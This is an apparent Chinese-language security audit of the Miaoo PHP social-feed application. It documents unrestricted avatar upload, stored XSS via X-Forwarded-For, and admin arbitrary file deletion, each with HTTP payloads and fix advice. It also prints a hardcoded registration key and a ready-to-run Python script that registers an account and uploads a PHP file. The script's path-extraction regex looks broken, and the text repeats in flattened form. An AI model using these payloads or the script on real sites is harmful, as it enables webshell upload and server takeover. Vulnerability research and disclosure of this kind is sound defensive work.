Miaoo 朋友圈程序审计
字数 1363 2025-08-22 22:47:30

Miaoo 朋友圈程序安全审计报告

0x00 程序概述

Miaoo 朋友圈程序是一个具有社交功能的Web应用,主要功能包括:

  • 前台一键发布图文、视频、音乐
  • 发布内容支持定位或自定义位置信息
  • 支持广告模式消息通知(站内或邮件)
  • 用户注册和管理功能
  • 丰富的后台管理功能

0x01 安全漏洞分析

1. 前台任意文件上传漏洞

漏洞文件: /api/uploadavatar.php

漏洞描述:
头像上传功能存在任意文件上传漏洞,攻击者可以上传恶意文件(如PHP webshell)到服务器。

漏洞代码分析:

$str = "../user/headimg/";
$dir = iconv("UTF-8", "GBK", strval($str));
if (!file_exists($dir)) {
    mkdir($dir, 511, true);
}

$file = $_FILES["file"];
$allowedExts = ["gif", "jpeg", "jpg", "png", "webp"];
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);

// 检查文件类型
if ($file["type"] == "image/jpeg" || $file["type"] == "image/png" || 
    $file["type"] == "image/jpg" || $file["type"] == "image/gif" || 
    $file["type"] == "image/webp" && in_array($extension, $allowedExts)) {
    // 通过检查
} else {
    exit("文件类型错误,请上传图片!");
}

漏洞利用条件:

  • 需要普通用户权限(可注册)
  • 只需绕过Content-Type检查

漏洞利用方法:

  1. 构造恶意请求,上传.php文件
  2. 伪造Content-Type为image/jpeg
  3. 文件内容包含PHP代码(如<?php phpinfo();?>

Payload示例:

POST /api/uploadavatar.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9CKBqDZadLQ1ff5J
Cookie: [有效会话cookie]

------WebKitFormBoundary9CKBqDZadLQ1ff5J
Content-Disposition: form-data; name="file"; filename="aaa.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundary9CKBqDZadLQ1ff5J--

修复建议:

  1. 严格检查文件扩展名和内容
  2. 使用白名单方式验证文件类型
  3. 重命名上传文件,避免直接使用用户提供的文件名
  4. 限制上传目录的执行权限

2. 前台存储型XSS漏洞

漏洞文件: /api/reg.php

漏洞描述:
注册功能中IP地址获取逻辑存在缺陷,攻击者可通过X-Forwarded-For头注入恶意JavaScript代码,导致存储型XSS。

漏洞代码分析:

if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]) {
    $ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
} elseif ($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]) {
    $ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
} elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]) {
    $ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
} elseif (getenv("HTTP_X_FORWARDED_FOR")) {
    $ip = getenv("HTTP_X_FORWARDED_FOR");
} elseif (getenv("HTTP_CLIENT_IP")) {
    $ip = getenv("HTTP_CLIENT_IP");
} elseif (getenv("REMOTE_ADDR")) {
    $ip = getenv("REMOTE_ADDR");
} else {
    $ip = "Unknown";
}

注册密钥绕过:

if ($allkey != $cloudallkey) {
    if ($allkey == $appintkey) {
        // 通过检查
    } else {
        exit("秘钥错误");
    }
}

固定密钥:1a8eed4f3e05c811c6b1c5550102e86f

漏洞利用方法:

  1. 注册时添加X-Forwarded-For头包含XSS payload
  2. 使用固定密钥绕过注册限制

Payload示例:

POST /api/reg.php HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: <script>alert(1234)</script>
Content-Type: application/x-www-form-urlencoded

zh=aaaaaasa&em=dasdasaaasd@qq.com&mm=dasdasd&allkey=1a8eed4f3e05c811c6b1c5550102e86f&yzm=undefined

修复建议:

  1. 对用户输入进行严格的HTML实体编码
  2. 使用CSP策略限制脚本执行
  3. 实现更安全的注册密钥验证机制
  4. 过滤HTTP头中的特殊字符

3. 后台任意文件删除漏洞

漏洞文件: /admin/rm.php

漏洞描述:
后台文件删除功能未对文件路径进行严格限制,导致攻击者可删除服务器上的任意文件。

漏洞代码分析:

$filew = addslashes(htmlspecialchars($_GET["filew"]));
if ($filew) {
    if (is_file($filew)) {
        $status = unlink($filew);
        if ($status) {
            // 删除成功
        } else {
            exit("文件删除失败,请重试!");
        }
    }
}

漏洞利用条件:

  • 需要管理员权限
  • 通过filew参数指定要删除的文件路径

Payload示例:

GET /admin/rm.php?filew=../robots.txt HTTP/1.1
Host: 127.0.0.1
Cookie: [管理员会话cookie]

修复建议:

  1. 限制可删除的文件目录范围
  2. 实现文件路径白名单机制
  3. 增加CSRF防护
  4. 记录文件删除操作日志

0x02 自动化利用脚本

import re
import sys
import requests
import random

url = sys.argv[1]
session = requests.session()
user = str(int(random.uniform(2222222, 9999999)))

files = {'file': ('a.php', '<?php phpinfo();?>', 'image/jpeg')}

# 注册用户
aaa = session.post(
    url + "/api/reg.php",
    data={
        'zh': user,
        'em': user + '@qq.com',
        'mm': user,
        'allkey': '1a8eed4f3e05c811c6b1c5550102e86f',
        'yzm': 'undefined'
    }
).text

if "注册成功" in aaa:
    # 登录
    bbb = session.post(url + '/api/login.php', data={'zh': user, 'mm': user})
    
    # 上传webshell
    ccc = session.post(url + '/api/uploadavatar.php', files=files)
    
    print('注册成功 账号:' + user + " 密码:" + user)
    
    if '上传成功' in ccc.text:
        # 获取webshell路径
        ddd = session.get(url + '/setup.php').text
        shell = str(re.findall(r'data-src=id="setup-main-lieb-qx-imgt', ddd, re.DOTALL))
        print('成功上传:' + url + shell.replace('[\'', '').replace('\']', ''))
else:
    print('注册失败', aaa)

0x03 总结与修复建议

整体安全问题总结

  1. 输入验证不足:多个功能点缺乏严格的输入验证
  2. 权限控制薄弱:后台功能未进行充分的权限检查
  3. 文件操作不安全:上传和删除功能存在严重安全隐患
  4. 会话管理缺陷:注册密钥可预测,缺乏有效的防护机制

全面修复建议

  1. 输入验证

    • 对所有用户输入进行严格过滤和验证
    • 使用白名单而非黑名单机制
    • 对特殊字符进行转义处理
  2. 文件操作安全

    • 限制上传文件类型和内容
    • 重命名上传文件,避免路径遍历
    • 限制文件删除功能的操作范围
  3. 会话与权限

    • 实现强会话管理机制
    • 增加CSRF防护
    • 加强后台功能的权限检查
  4. 安全编码实践

    • 使用安全的函数替代危险函数
    • 实现完善的错误处理机制
    • 记录安全相关操作日志
  5. 安全加固

    • 部署WAF防护
    • 定期进行安全审计
    • 保持系统和组件更新

通过全面修复这些安全问题,可以显著提高Miaoo朋友圈程序的安全性,防止潜在的攻击和数据泄露风险。

Miaoo 朋友圈程序安全审计报告 0x00 程序概述 Miaoo 朋友圈程序是一个具有社交功能的Web应用,主要功能包括: 前台一键发布图文、视频、音乐 发布内容支持定位或自定义位置信息 支持广告模式消息通知(站内或邮件) 用户注册和管理功能 丰富的后台管理功能 0x01 安全漏洞分析 1. 前台任意文件上传漏洞 漏洞文件 : /api/uploadavatar.php 漏洞描述 : 头像上传功能存在任意文件上传漏洞,攻击者可以上传恶意文件(如PHP webshell)到服务器。 漏洞代码分析 : 漏洞利用条件 : 需要普通用户权限(可注册) 只需绕过Content-Type检查 漏洞利用方法 : 构造恶意请求,上传.php文件 伪造Content-Type为image/jpeg 文件内容包含PHP代码(如 <?php phpinfo();?> ) Payload示例 : 修复建议 : 严格检查文件扩展名和内容 使用白名单方式验证文件类型 重命名上传文件,避免直接使用用户提供的文件名 限制上传目录的执行权限 2. 前台存储型XSS漏洞 漏洞文件 : /api/reg.php 漏洞描述 : 注册功能中IP地址获取逻辑存在缺陷,攻击者可通过X-Forwarded-For头注入恶意JavaScript代码,导致存储型XSS。 漏洞代码分析 : 注册密钥绕过 : 固定密钥: 1a8eed4f3e05c811c6b1c5550102e86f 漏洞利用方法 : 注册时添加X-Forwarded-For头包含XSS payload 使用固定密钥绕过注册限制 Payload示例 : 修复建议 : 对用户输入进行严格的HTML实体编码 使用CSP策略限制脚本执行 实现更安全的注册密钥验证机制 过滤HTTP头中的特殊字符 3. 后台任意文件删除漏洞 漏洞文件 : /admin/rm.php 漏洞描述 : 后台文件删除功能未对文件路径进行严格限制,导致攻击者可删除服务器上的任意文件。 漏洞代码分析 : 漏洞利用条件 : 需要管理员权限 通过filew参数指定要删除的文件路径 Payload示例 : 修复建议 : 限制可删除的文件目录范围 实现文件路径白名单机制 增加CSRF防护 记录文件删除操作日志 0x02 自动化利用脚本 0x03 总结与修复建议 整体安全问题总结 输入验证不足:多个功能点缺乏严格的输入验证 权限控制薄弱:后台功能未进行充分的权限检查 文件操作不安全:上传和删除功能存在严重安全隐患 会话管理缺陷:注册密钥可预测,缺乏有效的防护机制 全面修复建议 输入验证 : 对所有用户输入进行严格过滤和验证 使用白名单而非黑名单机制 对特殊字符进行转义处理 文件操作安全 : 限制上传文件类型和内容 重命名上传文件,避免路径遍历 限制文件删除功能的操作范围 会话与权限 : 实现强会话管理机制 增加CSRF防护 加强后台功能的权限检查 安全编码实践 : 使用安全的函数替代危险函数 实现完善的错误处理机制 记录安全相关操作日志 安全加固 : 部署WAF防护 定期进行安全审计 保持系统和组件更新 通过全面修复这些安全问题,可以显著提高Miaoo朋友圈程序的安全性,防止潜在的攻击和数据泄露风险。